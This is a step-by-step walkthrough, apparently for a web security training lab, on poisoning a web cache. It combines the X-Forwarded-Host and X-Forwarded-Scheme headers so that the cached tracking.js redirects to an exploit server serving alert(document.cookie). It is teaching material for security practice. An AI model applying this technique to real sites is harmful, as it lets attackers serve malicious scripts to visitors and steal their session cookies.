Lab: Web cache poisoning with multiple headers

This lab supports both the X-Forwarded-Host and X-Forwarded-Scheme headers.

1. With Burp running, load the website's home page.
2. Go to "Proxy" > "HTTP history" and study the requests and responses that you generated. Find the GET request for the JavaScript file /resources/js/tracking.js and send it to Burp Repeater.
3. Add a cache-buster query parameter and the X-Forwarded-Host header with an arbitrary hostname, such as example.com. Notice that this doesn't seem to have any effect on the response.
4. Remove the X-Forwarded-Host header and add the X-Forwarded-Scheme header instead. Notice that if you include any value other than HTTPS, you receive a 302 response. The Location header shows that you are being redirected to the same URL that you requested, but using https://.
5. Add the X-Forwarded-Host: example.com header back to the request, but keep X-Forwarded-Scheme: nothttps as well. Send this request and notice that the Location header of the 302 redirect now points to https://example.com/.

6. Go to the exploit server and change the file name to match the path used by the vulnerable response:

   /resources/js/tracking.js
7. In the body, enter the payload alert(document.cookie) and store the exploit.

8. Go back to the request in Burp Repeater and set the X-Forwarded-Host header as follows, remembering to enter your own exploit server ID:

   X-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
9. Make sure the X-Forwarded-Scheme header is set to anything other than HTTPS.
10. Send the request until you see your exploit server URL reflected in the response and X-Cache: hit in the headers.
11. To check that the response was cached correctly, right-click on the request in Burp, select "Copy URL", and load this URL in Burp's browser. If the cache was successfully poisoned, you will see the script containing your payload, alert(document.cookie). Note that the alert() won't actually execute here.
12. Go back to Burp Repeater, remove the cache buster, and resend the request until you poison the cache again.
13. To simulate the victim, reload the home page in the browser and make sure that the alert() fires.
14. Keep replaying the request to keep the cache poisoned until the victim visits the site and the lab is solved.

Jarno Timmermans

Michael Sommer (no audio)